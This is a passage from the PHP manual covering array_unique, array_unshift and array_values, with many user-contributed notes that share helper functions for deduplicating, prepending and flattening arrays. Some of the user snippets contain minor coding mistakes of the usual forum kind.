 * @author memandeemail at gmail dot com
 */
function implode_with_key($glue = null, $pieces, $hifen = ',') {
  $return = null;
  foreach ($pieces as $tk => $tv) $return .= $glue.$tk.$hifen.$tv;
  return substr($return,1);
}

/**
 * Return unique values from a tree of values
 *
 * @param array $array_tree
 * @return array
 * @author memandeemail at gmail dot com
 */
function array_unique_tree($array_tree) {
  $will_return = array(); $vtemp = array();
  foreach ($array_tree as $tkey => $tvalue) $vtemp[$tkey] = implode_with_key('&',$tvalue,'=');
  foreach (array_keys(array_unique($vtemp)) as $tvalue) $will_return[$tvalue] = $array_tree[$tvalue];
  return $will_return;
}

$problem = array_fill(0,3,
array('FirstName' => 'John', 'LastName' => 'Smith')
);

$problem[] = array('FirstName' => 'Davi', 'LastName' => 'S. Mesquita');
$problem[] = array('FirstName' => 'John', 'LastName' => 'Tom');

print_r($problem);

print_r(array_unique_tree($problem));
?>
webcreator at centrum dot cz 28-Oct-2005 04:25
array_unique function starts its comparation from beginning and pop the key off if there is more values inside array. The last one remains. But i needed to hold priority of the order of values and let the first one in.

Here is my easy solution:

<?php
function my_array_unique($from)
{
for ($i=count($from);$i>1;$i--)
    {
    $last = $from[$i];
    $from[$i] = "";
    if (!in_array($last,$from))
        $from[$i]=$last;
    }
return array_unique($from);
}

# One empty value remains in array.
# But its very easy to separate it while using output array.
?>
passtschu AT freenet DOT de 21-Sep-2005 07:20
array_unique for multidimensional arrays. similar to the DISTINCT in SQL function.
the function can group, sum and count keys

<?PHP
/*
$array - nothing to say
$group_keys - columns which have to be grouped - can be STRING or ARRAY (STRING, STRING[, ...])
$sum_keys - columns which have to be summed - can be STRING or ARRAY (STRING, STRING[, ...])
$count_key - must be STRING - count the grouped keys
*/
function array_distinct ($array, $group_keys, $sum_keys = NULL, $count_key = NULL){
  if (!is_array ($group_keys)) $group_keys = array ($group_keys);
  if (!is_array ($sum_keys)) $sum_keys = array ($sum_keys);

  $existing_sub_keys = array ();
  $output = array ();

  foreach ($array as $key => $sub_array){
    $puffer = NULL;
    #group keys
    foreach ($group_keys as $group_key){
      $puffer .= $sub_array[$group_key];
    }
    $puffer = serialize ($puffer);
    if (!in_array ($puffer, $existing_sub_keys)){
      $existing_sub_keys[$key] = $puffer;
      $output[$key] = $sub_array;
    }
    else{
      $puffer = array_search ($puffer, $existing_sub_keys);
      #sum keys
      foreach ($sum_keys as $sum_key){
        if (is_string ($sum_key)) $output[$puffer][$sum_key] += $sub_array[$sum_key];
      }
      #count grouped keys
      if (!array_key_exists ($count_key, $output[$puffer])) $output[$puffer][$count_key] = 1;
      if (is_string ($count_key)) $output[$puffer][$count_key]++;
    }
  }
  return $output;
}
?>
muddmonkey@harveyMcoldotedu 17-Aug-2005 01:44
If you're doing numeric arrays etc. I found flip-flip to work much better than array_unique:

<?PHP
    function microtime_float(){ //timing
       list($usec, $sec) = explode(" ", microtime());
       return ((float)$usec + (float)$sec);
    }

    //make an arry and fill it up
    $final=array();
    for($i=0;$i<50000;$i++){
        $final[]=$i%13; //make sure there are some dupes
    }
    //try array unique
    $start1 = microtime_float();
    array_unique($final);
    $stop1=microtime_float();
    echo($stop1-$start1.'<br>');
    //try my flip-flip
    $start2=microtime_float();
    array_flip(array_flip($final));
    $stop2=microtime_float();
    echo($stop2-$start2);
?>

Running this with only ints in the array (as above) I get runtimes such as:
1.6195669174194 (using unique)
0.017037868499756 (using flip flip)
which is two orders of magnitude faster!

Appending a string:
($final[]='test'.$i%13;)
gives:
0.42909598350525 (using unique)
0.023258924484253 (using flip-flip)
Which is not AS great, but still 20x faster than unique.

In both cases the flip-flip seems to use less memory than the unique.

Granted the flip-flip doesn't work for all cases, but if you're doing simple stuff like this, the flip-flip will give you better run times.

~JF
Christoph Ziegenberg 17-Jun-2005 11:44
If the array key is a string it might be important to keep it although the value is the same (as I need it at the moment). So I wrote a function which also returns array elements which have the same value but different string keys.

<?php
function array_unique_numeric ($arr)
{
    $str = $int = array();
    foreach(array_keys($arr) as $key) {
        ${(is_int($key)?'int':'str')}[$key] = $arr[$key];
    }
    return array_merge($str, array_unique($int));
}

// typical array after an array_merge()...
$array = array("a" => "green", "b" => "brown", "c" => "blue", "red", "d" => "green", "yellow", "red");

print_r(array_unique($array));
// Array
// (
//     [a] => green
//     [b] => brown
//     [c] => blue
//     [0] => red
//     [1] => yellow
// )

print_r(array_unique_numeric($array));
// Array
// (
//     [a] => green
//     [b] => brown
//     [c] => blue
//     [d] => green
//     [0] => red
//     [1] => yellow
// )
?>
memandeemail at gmail dot com 15-Apr-2005 01:46
<?php
/**
 * Removes duplicate keys from an array
 *
 * @param array $array
 * @return array
 */
function array_unique_key($array) {
    $result = array();
    foreach (array_unique(array_keys($array)) as $tvalue) {
        $result[$tvalue] = $array[$tvalue];
    }
    return $result;
}
?>
Ric 05-Apr-2005 09:44
A very simple way of getting rid of duplicate entries and re-indexing with key starting at 0:

<?php
    $temp=array_unique($main);
    $main=array_values($temp);
?>
trigger at e-mail dot ru 03-Feb-2005 02:53
Just a simple implementation for JavaScript:

<?php
function array_unique(thearray)
{
    thearray.sort();
    //reset($thearray);
    newarray = new Array();
    for (n=0;n<thearray.length;n++)
    {
        unique=1;//by default
        for(nn=0;nn<newarray.length;nn++)
            if (thearray[n] == newarray[nn])
            {
                unique=0;//already exists
                break;
            }
        if(unique)//dont exists
            newarray.push(thearray[n]);
    }
    return newarray;
 }
?>
lucas.bickel AT purplehaze DOT ch 26-Oct-2004 08:39
I quite like the following code for making multidimensional arrays unique:

<?php
foreach ($arrAddressList AS $key => $arrAddress) {
    $arrAddressList[$key] = serialize($arrAddress);
}
$arrAddressList = array_unique($arrAdressList);
foreach ($arrAddressList AS $key => $strAddress) {
    $arrAddressList[$key] = unserialize($strAddress);
}
?>

This gets me a unique array while not minding wether the the original array contains arrays or just strings (or whatever...).
wernerlistas at terra dot com dot br 16-Jun-2004 08:50
Following the code copies of a little function I've wrote that actually works with multidimensional arrays.
It also resets the array indexes.

<?php
if ( !function_exists( "arrayUnique" ) ){
    function arrayUnique ( $rArray ){
        $rReturn = array ();
        while ( list( $key, $val ) = each ( $rArray ) ){
            if ( !in_array( $val, $rReturn ) )
            array_push( $rReturn, $val );
        }
        return $rReturn;
    }
}
?>
csaba at alum dot mit dot edu 09-Jun-2004 07:17
The following is an efficient, adaptable implementation of array_unique which always retains the first key having a given value:

<?php
function array_unique2(&$aray) {
    $aHash = array();
    foreach ($aray as $key => &$val) if (@$aHash[$val]++) unset ($aray[$key]);
}
?>

It is also adaptable to multi dimensional arrays.  For example, if your array is a sequence of (multidimensional) points, then in place of @$aHash[$val]++ you could use @$aHash[implode("X",$val)]++
If you want to not have holes in your array, you can do an array_merge($aray) at the end.

Csaba Gabor
patrikG at home dot net 11-Mar-2004 07:05
If you need to have the keys of the duplicates in an array returned, you may find this function useful:

<?php
function unique_events($array){
    //checks $array for duplicate values and returns an
        //array containing the keys of duplicates
    $count= array_intersect_assoc($array, array_flip( array_count_values($array)));
    foreach($array as $key=>$value){
        if (in_array($value,$count)){
            $return[$value][]=$key;
        }
    }
    return $return;
}
?>

Example:

Input:
Array
(
    [0] => 44
    [1] => 23
    [2] => 23
    [3] => 23
    [4] => 9
    [5] => 9
    [6] => 9
    [7] => 9
    [8] => 9
    [9] => 9
    [10] => 9
    [11] => 9
)

Function returns:
Array
(
    [23] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [9] => Array
        (
            [0] => 4
            [1] => 5
            [2] => 6
            [3] => 7
            [4] => 8
            [5] => 9
            [6] => 10
            [7] => 11
        )

)
bitmore.co.kr 19-Feb-2004 03:53
//Modify
Object Unique

<?php
    class foo {
        var $_name;
        var $_age;
        function foo($name,$age=NULL)    { $this->_name = $name; $this->_age = $age; }
        //function get()        { return $this->_name; }
        //function set($name,$age=NULL)    { $this->_name = $name; $this->_age = $age; }
    }

    function DistinctOn ($obj, $item) {
        $out = array();
        $list = array();
        foreach ($obj as $key=>$so) {
            if (!in_array($so->$item, $list)) {
                echo "key = $key,so = $so,item = $item,IFlist = ";print_r($list);echo "<br>";
                $list[] = $so->$item;//°ËÁõ¹è¿
                $out[$key] = $so;
            }
            echo "Forlist = ";print_r($list);echo "<br>";
        }
        return $out;
    }

    $foo_obj[0] = new foo('tom',20);
    $foo_obj[1] = new foo('paul',66);
    $foo_obj[2] = new foo('tom',23);

    $item = '_name';
    $result = DistinctOn ($foo_obj, $item);

    while(list($k,$v) = each($result)) {
        print "K = ";print_r($k);
        print ",V = ";print_r($v);
        print "<br>";
    }
    //key = 0,so = Object,item = _name,IFlist = Array ( ) ,Forlist = Array ( [0] => tom )
    //key = 1,so = Object,item = _name,IFlist = Array ( [0] => tom ) ,Forlist = Array ( [0] => tom [1] => paul )
    //Forlist = Array ( [0] => tom [1] => paul )
    //K = 0,V = foo Object ( [_name] => tom [_age] => 20 )
    //K = 1,V = foo Object ( [_name] => paul [_age] => 66 )

    print "<br><br>";
    $item = '_age';
    $result = DistinctOn ($foo_obj, $item);
    while(list($k,$v) = each($result)) {
        print "K = ";print_r($k);
        print ",V = ";print_r($v);
        print "<br>";
    }

    //key = 0,so = Object,item = _age,IFlist = Array ( ) ,Forlist = Array ( [0] => 20 )
    //key = 1,so = Object,item = _age,IFlist = Array ( [0] => 20 ) ,Forlist = Array ( [0] => 20 [1] => 66 )
    //key = 2,so = Object,item = _age,IFlist = Array ( [0] => 20 [1] => 66 ) ,
    //    Forlist = Array ( [0] => 20 [1] => 66 [2] => 23 )
    //K = 0,V = foo Object ( [_name] => tom [_age] => 20 )
    //K = 1,V = foo Object ( [_name] => paul [_age] => 66 )
    //K = 2,V = foo Object ( [_name] => tom [_age] => 23 )
?>
kay_rules at yahoo dot com 24-May-2003 02:28
this function will return an array with unique value and proper key increment start from 0.

<?php
/*******************************/
function my_array_unique($somearray){
    $tmparr = array_unique($somearray);
    $i=0;
    foreach ($tmparr as $v) {
        $newarr[$i] = $v;
        $i++;
    }
    return $newarr;
}
/********************************/
?>

eg:

<?php
$foo_arr[0] ='aa'
$foo_arr[1] ='bb'
$foo_arr[2] ='cc'
$foo_arr[3] ='bb'
$foo_arr[4] ='aa'
$foo_arr[5] ='dd'
?>

normal array_unique will return:

<?php
$foo_arr[0] ='aa';
$foo_arr[1] ='bb';
$foo_arr[2] ='cc';
$foo_arr[3] ='';
$foo_arr[4] ='';
$foo_arr[5] ='dd'
?>

my_array_unique will return:

<?php
$foo_arr[0] ='aa';
$foo_arr[1] ='bb';
$foo_arr[2] ='cc';
$foo_arr[3] ='dd'
?>
martin at lucas-smith dot co dot uk 27-Jan-2003 05:12
To get a list of the duplicated values in an array, array_unique isn't much help. Instead, use array_filter in conjunction with a callback function, as below:

<?php
$checkKeysUniqueComparison = create_function('$value','if ($value > 1) return true;');
$result = array_keys (array_filter (array_count_values($array), $checkKeysUniqueComparison));
?>

These two lines therefore will create $result, an array of duplicated values in the array $array, once each. E.g. the array
$array = array ("a", "b", "a", "b", "x", "y", "z", "x");
gives the result
Array([0] => a [1] => b [2] => x)
deigo at swirve dot NOSPAM dot com 23-Sep-2002 10:04
Before I found the mysql distinct I had to make a nicer array from the keys/values that I got from array_unique so.

<?php
$groups=array_unique($groups);
$newgroup[0]=reset($groups);
for ($x=1;$x<sizeof($groups);$x++)
{
  $newgroup[$x]=next($groups);
}
?>
php at hp-site dot dk 29-Aug-2002 11:15
Try this:
array_flip(array_flip($array));

It gives the same result as the old array_unique()
29-Aug-2002 02:39
<?php
$truc = array("l810u00","l810u00","l810q00");
$machin = array_unique($truc);
for($i=0;$i < count($machin) ; $i++){
print $machin[$i]."
";
}
?>
result :
l810u00

This is not strange: $machin (as returned by array unique), contains "l810u00" either in key[0] or key[1] but not both (the key depends on the ersion of PHP), and "l810q00" in key[2].
The returned array has TWO elements so count($machin)==2.
The returned array has a hole in it, and you're not displaying its full content. You could verify it by using this display loop instead:
foreach($machine as $key=>$value){
print '[' . $key . '] => ' . $value . '
";
}
result:
[0] => l810q00
[2] => l810u00
(the first line may display [1] instead of [0] for PHP 4.0.1p3, but you'll get the same order of values and two lines, as expected). When calling array_values() on the result, you're building a new array with the same values in the same order, but with renumbered keys (without holes in numeric keys).
spunk at dasspunk dot NOSPAM dot com 14-Nov-2001 04:52
I needed a way of retaining the original array's keys in the new, unique array. I came up with this. It works for my purposes but may need refinement.

<?php
function my_array_unique($somearray)
{
    asort($somearray);
    reset($somearray);
    $currentarrayvar = current($somearray);
    foreach ($somearray as $key=>$var)
    {
        if (next($somearray) != $currentarrayvar)
        {
            $uniquearray[$key] = $currentarrayvar;
            $currentarrayvar = current($somearray);
        }
    }
    reset($uniquearray);
    return $uniquearray;
}
?>
az at top-webdesign dot de 10-Jul-2001 01:00
Attention!
If you use array_unique be aware of data-types! (I spent hours of debugging because of that ...).

For example, if you've got an array containing a '3' as number and another '3' as string it won't be eliminated by array_unique.

An Example where this can happen, without really thinking about it:

I've got an article-list with product-numbers where the third and fourth digit is the code for the producer. So I read in the file an process it line by line and put each producer-code into an array:
------------------------------
<?php
$i=0;
while($line = fgets($csv, 10000) {
// splitting the line, product_no is the first part:

$data = explode(";", $line);

// putting the producer_code into an array:

$producer_id[$i] = trim(substr($data[0], 2, 2));

// make a special exception:

if(trim(substr($data[0], 2, 2)) == 40) {
$producer_id[$j] = '30';
}

// in the above line if you leave the 30 without the ''
// array_unique won't work!

$i++;
}

$producer_ids = array_values(array_unique($producer_id));
?>
-------------------------------
Result is to have all producer-ID's in an array without dupes.
rein at velt dot net 21-Apr-2001 12:44
Following code copies unique values from MyArray to TempArray.
Then copies non-empty elements from TempArray to UniqueArray.

Not the most elegant solution, but it works.

<?php
$TempArray = array_unique($MyArray);
while (list($index,$data)=each($TempArray)) {
      if (isempty($data)) {
          $UniqueArray[$index]=$data;
      }
}
?>
jllamas at bal dot com dot mx 25-Sep-2000 09:25
It seems that array_unique creates an exact copy of the original array and then elimitates duplicate values. It does NOT change the "internal references" of the array. For example:

<?php
    $test_alfa = array();
    $test_alfa[0] = "aa";
    $test_alfa[1] = "aa";
    $test_alfa[2] = "aa";
    $test_alfa[3] = "bb";
    $test_alfa[4] = "aa";
    $test_alfa[5] = "bb";
    $test_alfa[6] = "cc";
    $test_alfa[7] = "bb";

    $test_beta= array_unique($test_alfa);
    $numValues = count($test_beta);
    for ($i = 0 ; $i <= 7 ; $i++)
       echo("test_beta[$i] = $test_beta[$i] <br>");
    echo ("Number of elements in test_beta = $numValues ");
?>
will give you the following output:

test_beta[0] =
test_beta[1] = aa
test_beta[2] =
test_beta[3] =
test_beta[4] =
test_beta[5] = bb
test_beta[6] = cc
test_beta[7] =
Number of elements in test_beta = 3

The point is that you won't get the output you'd expect if you think that the values of the non duplicate elements are located in the first three array locations.

<?php
    $numValues = count($test_beta);
    for ($i=0;$i<=$numValues; $i++)
       echo("test_beta[$i] = $test_beta[$i] <br>");
    echo ("Number of elements in test_beta = $numValues ");
?>

will give you:

test_beta[0] =
test_beta[1] = aa
test_beta[2] =
Number of elements in test_beta = 3

Hope that saves u some debugging time!
array_uintersect
array_unshift
Array Functions


Prepend one or more elements to the beginning of an array

array_unique
array_values
Array Functions
PHP Manual

array_unshift

(PHP 4, PHP 5)

array_unshift — Prepend one or more elements to the beginning of an array

Description

int array_unshift ( array &$array , mixed $var [, mixed $... ] )

array_unshift() prepends passed elements to the front of the array. Note that the list of elements is prepended as a whole, so that the prepended elements stay in the same order. All numerical array keys will be modified to start counting from zero while literal keys won't be touched.

Parameters

array

The input array.

var

The prepended variable.

Return Values

Returns the new number of elements in the array.

Examples

Example #1 array_unshift() example

<?php
$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
print_r($queue);
?>

The above example will output:

Array
(
    [0] => apple
    [1] => raspberry
    [2] => orange
    [3] => banana
)

See Also

  • array_shift() - Shift an element off the beginning of array
  • array_push() - Push one or more elements onto the end of array
  • array_pop() - Pop the element off the end of array

User Contributed Notes

Anonymous 19-Nov-2011 09:44
Sahn's example almost works but has a small error. Try it like this if you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    return = array_reverse($arr, true);
}
?>
Rafael M. Salvioni 12-Jun-2008 09:52
This function inserts a element in any position of the Array, by reference.

NOTE: The array is converted for a numeric array.

<?php

/**
 * Function array_insert().
 *
 * Returns the new number of the elements in the array.
 *
 * @param array $array Array (by reference)
 * @param mixed $value New element
 * @param int $offset Position
 * @return int
 */
function array_insert(&$array, $value, $offset)
{
    if (is_array($array)) {
        $array  = array_values($array);
        $offset = intval($offset);
        if ($offset < 0 || $offset >= count($array)) {
            array_push($array, $value);
        } elseif ($offset == 0) {
            array_unshift($array, $value);
        } else {
            $temp  = array_slice($array, 0, $offset);
            array_push($temp, $value);
            $array = array_slice($array, $offset);
            $array = array_merge($temp, $array);
        }
    } else {
        $array = array($value);
    }
    return count($array);
}

?>
sergei at gmx dot net 03-Oct-2007 08:49
You can preserve keys and unshift an array with numerical indexes in a really simple way if you'll do the following:

<?php
$someArray=array(224=>'someword1', 228=>'someword2', 102=>'someword3', 544=>'someword3',95=>'someword4');

$someArray=array(100=>'Test Element 1 ',255=>'Test Element 2')+$someArray;
?>

now the array looks as follows:

array(
100=>'Test Element 1 ',
255=>'Test Element 2'
224=>'someword1',
228=>'someword2',
102=>'someword3',
544=>'someword3',
95=>'someword4'
);
amschroeder at gmail dot com 26-Mar-2007 09:13
This becomes a nice little problem if you index your arrays out of order (while manually sorting).  For example:

<?php
$recordMonths[3] = '8/%/2006';
$recordMonths[4] = '7/%/2004';
$recordMonths[0] = '3/%/2007';
$recordMonths[1] = '2/%/2007';
$recordMonths[5] = '12/%/2000';
$recordMonths[6] = '11/%/2000';
$recordMonths[7] = '10/%/2000';
$recordMonths[2] = '1/%/2007';

for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
array_unshift($recordMonths,'%');
for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
?>

Produces:

singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 1/%/2007
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: %
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: 1/%/2007

It reindexes them based on the order they were created.  It seems like if an array has all numeric indexes, then it should reindex them based on the order of their index.  Just my opinion...
John Brooking 02-Jun-2006 06:54
I had a need tonight to convert a numeric array from 1-based to 0-based, and found that the following worked just fine due to the "side effect" of renumbering:

<?php
   array_unshift( $myArray, array_shift( $myArray ));
?>
php at electricsurfer dot com 26-Feb-2004 06:20
even simpler unshifting of a reference !
<?php
/**
 * @return int
 * @param $array array
 * @param $value mixed
 * @desc Prepend a reference to an element to the beginning of an array. Renumbers numeric keys, so $value is always inserted to $array[0]
 */
function array_unshift_ref(&$array, &$value)
{
   $return = array_unshift($array,'');
   $array[0] =& $value;
   return $return;
}
?>
lagroue 09-Nov-2003 04:46
Last version of PHP deprecated unshifting of a reference.
You can use this function instead :

<?php
function array_unshift1 (& $ioArray, $iValueWrappedInAnArray) {
    $lNewArray = false;
    foreach (array_keys ($ioArray) as $lKey)
        $lNewArray[$lKey+1] = & $ioArray[$lKey];
    $ioArray = array (& $iValueWrappedInAnArray[0]);
    if ($lNewArray)
        foreach (array_keys ($lNewArray) as $lKey)
             $ioArray[] = & $lNewArray[$lKey];
    return count($ioArray);
}

// before last PHP (now generates a deprecation warning)
array_unshift ($a, &$v);
// since last PHP (caution, there is a wrapping array !!)
array_unshift1 ($a, array (&$v));
?>
chris dot NoThxSpam dot given at hp dot com 23-Jul-2003 12:17
If you need to change the name of a key without changing its position in the array this function may be useful.

<?php
function array_key_change($Old, $New, $In, $NewVal=NULL) {
        $Temp = array();
        while(isset($Temp[$Old]) == false) {
                list($k, $v) = each($In);
                $Temp[$k] = $v;
                unset($In[$k]);
        }
        if($NewVal == NULL) {
                $NewVal = $Temp[$Old];
        }
        unset($Temp[$Old]);
        $Temp = array_reverse($Temp);
        $In = array_merge(array($New=>$NewVal), $In);
        while(list($k,$v) = each($Temp)) {
                $In = array_merge(array($k=>$v), $In);
        }
        return($In);
}
?>
rsmith_NOSPAM_ at _NOSPAM_unitec dot ac dot nz 30-Jul-2002 07:00
array_merge() will also reindex (see array_merge() manual entry), but the '+' operator won't, so...

<?php
$arrayone=array("newkey"=>"newvalue") + $arrayone;
?>

does the job.
TimHyde at C21Technology dot com 18-Jul-2002 05:04
A simpler way to implement an array_unshift with key=>value pairs (i.e. similar to the example using array_reverse above) is to use array_merge.  i.e.

<?php
$arrayone=array_merge(array("newkey"=>"newvalue"),$arrayone);
?>

Obviously you need to take care when adding numeric or duplicate keys.
robert dot wills at fuzzbrain dot uklinux dot net 07-Feb-2002 06:02
Actually this problem with the keys getting reindexed only happens when the keys are numerical:

<?php

$a = array("f"=>"five", "s" =>"six", "t" =>
        "twenty");

print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}

array_unshift($a, "zero");
print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}
?>

Array
(
    [f] => five
    [s] => six
    [t] => twenty
)

k: f v: five
k: s v: six
k: t v: twenty
Array
(
    [0] => zero
    [f] => five
    [s] => six
    [t] => twenty
)

k: 0 v: zero
k: f v: five
k: s v: six
k: t v: twenty
sahn at hmc dot edu 27-Jul-2001 12:21
If you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    $arr = array_reverse($arr, true);
    return count($arr);
}
?>
matt at synergie dot net 18-Sep-2000 10:20
The behaviour of unshift nearly caught me out.
Not only is the item added at the start of the list but the list is re-indexed too.

<?php

$a = array(5=>"five", 6 =>"six", 20 => "twenty");

while(list($key, $value) = each($a))
    echo "k: $key v: $value<BR>\n";

echo "<BR>\n";
array_unshift($a, "zero");

while(list($key, $value) = each($a))
    echo "k: $key v: $value<BR>\n";

?>

k: 5 v: five
k: 6 v: six
k: 20 v: twenty

k: 0 v: zero
k: 1 v: five
k: 2 v: six
k: 3 v: twenty
array_unique
array_values
Array Functions


Return all the values of an array

array_unshift
array_walk_recursive
Array Functions
PHP Manual

array_values

(PHP 4, PHP 5)

array_values — Return all the values of an array

Description

array array_values ( array $input )

array_values() returns all the values from the input array and indexes numerically the array.

Parameters

input

The array.

Return Values

Returns an indexed array of values.

Examples

Example #1 array_values() example

<?php
$array = array("size" => "XL", "color" => "gold");
print_r(array_values($array));
?>

The above example will output:

Array
(
    [0] => XL
    [1] => gold
)

See Also

  • array_keys() - Return all the keys or a subset of the keys of an array

User Contributed Notes

Sheldon Hearn 23-Jan-2012 09:14
Note that the $input argument is not reindexed. The return value is.
a dot ross at amdev dot eu 30-May-2011 12:21
<?php
/**
 * Flattens an array, or returns FALSE on fail.
 */
function array_flatten($array) {
  if (!is_array($array)) {
    return FALSE;
  }
  $result = array();
  foreach ($array as $key => $value) {
    if (is_array($value)) {
      $result = array_merge($result, array_flatten($value));
    }
    else {
      $result[$key] = $value;
    }
  }
  return $result;
}
?>
abimaelrc 10-May-2011 05:39
This is another way to get value from a multidimensional array, but for versions of php >= 5.3.x
<?php
/**
 * Get all values from specific key in a multidimensional array
 *
 * @param $key string
 * @param $arr array
 * @return null|string|array
 */
function array_value_recursive($key, array $arr){
    $val = array();
    array_walk_recursive($arr, function($v, $k) use($key, &$val){
        if($k == $key) array_push($val, $v);
    });
    return count($val) > 1 ? $val : array_pop($val);
}

$arr = array(
    'foo' => 'foo',
    'bar' => array(
        'baz' => 'baz',
        'candy' => 'candy',
        'vegetable' => array(
            'carrot' => 'carrot',
        )
    ),
    'vegetable' => array(
        'carrot' => 'carrot2',
    ),
    'fruits' => 'fruits',
);

var_dump(array_value_recursive('carrot', $arr)); // array(2) { [0]=> string(6) "carrot" [1]=> string(7) "carrot2" }
var_dump(array_value_recursive('apple', $arr)); // null
var_dump(array_value_recursive('baz', $arr)); // string(3) "baz"
var_dump(array_value_recursive('candy', $arr)); // string(5) "candy"
var_dump(array_value_recursive('pear', $arr)); // null
?>
aowie1 at gmail dot com 19-Jan-2011 12:23
I needed a function that recursively went into each level of the array to order (only the indexed) arrays... and NOT flatten the whole thing.

Solution:
<?php
function array_values_recursive($arr){
        $arr = array_values($arr);
        foreach($arr as $key => $val)
            if(array_values($val) === $val)
                $arr[$key] = array_values_recursive($val);

        return $arr;
}
?>
geo dot artemenko at gmail dot com 04-May-2010 12:37
same array_flatten function, compressed and preserving keys.

function array_flatten($a,$f=array()){
  if(!$a||!is_array($a))return '';
  foreach($a as $k=>$v){
    if(is_array($v))$f=array_flatten($v,$f);
    else $f[$k]=$v;
  }
  return $f;
}
Carsten Milkau 01-Nov-2009 04:46
Note that in a multidimensional array, each element may be identified by a _sequence_ of keys, i.e. the keys that lead towards that element. Thus "preserving keys" may have different interpretations. Ivan's function for example creates a two-dimensional array preserving the last two keys. Other functions below create a one-dimensional array preserving the last key. For completeness, I will add a function that merges the key sequence by a given separator and a function that preserves the last n keys, where n is arbitrary.

<?php
/*
 * Flattening a multi-dimensional array into a
 * single-dimensional one. The resulting keys are a
 * string-separated list of the original keys:
 *
 * a[x][y][z] becomes a[implode(sep, array(x,y,z))]
 */

function array_flatten_sep($sep, $array) {
  $result = array();
  $stack = array();
  array_push($stack, array("", $array));

  while (count($stack) > 0) {
    list($prefix, $array) = array_pop($stack);

    foreach ($array as $key => $value) {
      $new_key = $prefix . strval($key);

      if (is_array($value))
        array_push($stack, array($new_key . $sep, $value));
      else
        $result[$new_key] = $value
    }
  }

  return $result;
}

/*
 * Flattening a multi-dimensional array into an
 * n-dimensional one. The last n keys of each element are
 * preserved. If this results in ambiguities, results are
 * undefined.
 *
 * a[x_1][x_2]...[x_m]  becomes  a[x_{m-n+1}]...[x_m]
 */
function array_flatten_n($array, $n) {
  $result = array();
  $stack = array();
  array_push($stack, array(array(), $array));

  while (count($stack) > 0) {
    list($prefix, $array) = array_pop($stack);

    foreach ($array as $key => $value) {
      if (is_array($value)) {
        $new_prefix = array_values($prefix);
        array_push($new_prefix, $key);
        if (count($new_prefix) >= n)
          array_shift($new_prefix);

        array_push($stack, array($new_prefix, $value));
      } else {
        $array = $result;
        foreach ($prefix as $pkey) {
           if (!is_array($array[$pkey]))
             $array[$pkey] = array();
           $array = $array[$pkey];
        }
        $array[$key] = $value;
      }
    }
  }

  return $result;
}
?>
karl dot rixon at gmail dot com 18-Sep-2009 02:57
A modification of wellandpower at hotmail.com's function to perform array_values recursively. This version will only re-index numeric keys, leaving associative array indexes alone.

<?php

function array_values_recursive($array) {
    $temp = array();
    foreach ($array as $key => $value) {
        if (is_numeric($key)) {
            $temp[] = is_array($value) ? array_values_recursive($value) : $value;
        } else {
            $temp[$key] = is_array($value) ? array_values_recursive($value) : $value;
        }
    }
    return $temp;
}

?>
id_ivan at yahoo dot com 08-Mar-2009 03:36
i missed one array value for mistakenly putting the recursive function outside the loop. so here is the corrected function:

<?php
    /* ---------------------
    * @function  array_flatten
    * @param     array
    * @since     0.1
    * @return    array
    * @notes     flatten associative multi dimension array recursive
    * @update    18:31 3/8/2009
    * @author    Rivanoor Bren <id_ivan(at)yahoo.com>
    ---------------------- */
    function array_flatten($array, $preserve = FALSE, $r = array()){
        foreach($array as $key => $value){
            if (is_array($value)){
                foreach($value as $k => $v){
                    if (is_array($v)) { $tmp = $v; unset($value[$k]); }
                }
                if ($preserve) $r[$key] = $value;
                else $r[] = $value;
            }
          // this is correct
          $r = isset($tmp) ? array_flatten($tmp, $preserve, $r) : $r;
        }
        // wrong spot:
        // $r = isset($tmp) ? array_flatten($tmp, $preserve, $r) : $r;
        return $r;
    }
?>
id_ivan at yahoo dot com 07-Mar-2009 07:29
I finally found a way to solve my problem with multidimension array and though to share it here. This function flatten multi dimension (associative/index) array recursively while maintaining the key with its value. You can see the example for a better explanation.

<?php
    /* ---------------------
    * @function  array_flatten
    * @param     array
    * @since     0.1
    * @return    array
    * @notes     flatten associative multi dimension array recursive
    * @update    22:02 3/7/2009
    * @author    Rivanoor Bren <id_ivan(at)yahoo.com>
    ---------------------- */
    function array_flatten($array, $preserve = FALSE, $r = array()){
        foreach($array as $key => $value){
            if (is_array($value)){
                foreach($value as $k => $v){
                    if (is_array($v)) { $tmp = $v; unset($value[$k]); }
                }
                if ($preserve) $r[$key] = $value;
                else $r[] = $value;
            }
        }
        $r = isset($tmp) ? array_flatten($tmp, $preserve, $r) : $r;
        return $r;
    }

    print_r($tmp);
/* ---
Array
(
    [home] => Array
        (
            [id] => 1
            [pid] => 0
            [link] => home
            [subcat] =>
        )

    [works] => Array
        (
            [id] => 2
            [pid] => 0
            [link] => works
            [subcat] => Array
                (
                    [viz] => Array
                        (
                            [id] => 4
                            [pid] => 2
                            [link] => viz
                            [subcat] =>
                        )

                    [script] => Array
                        (
                            [id] => 5
                            [pid] => 2
                            [link] => script
                            [subcat] => Array
                                (
                                    [arch] => Array
                                        (
                                            [id] => 6
                                            [pid] => 5
                                            [link] => arch
                                            [subcat] =>
                                        )

                                )

                        )

                )

        )

    [blog] => Array
        (
            [id] => 3
            [pid] => 0
            [link] => blog
            [subcat] =>
        )

)

--- */

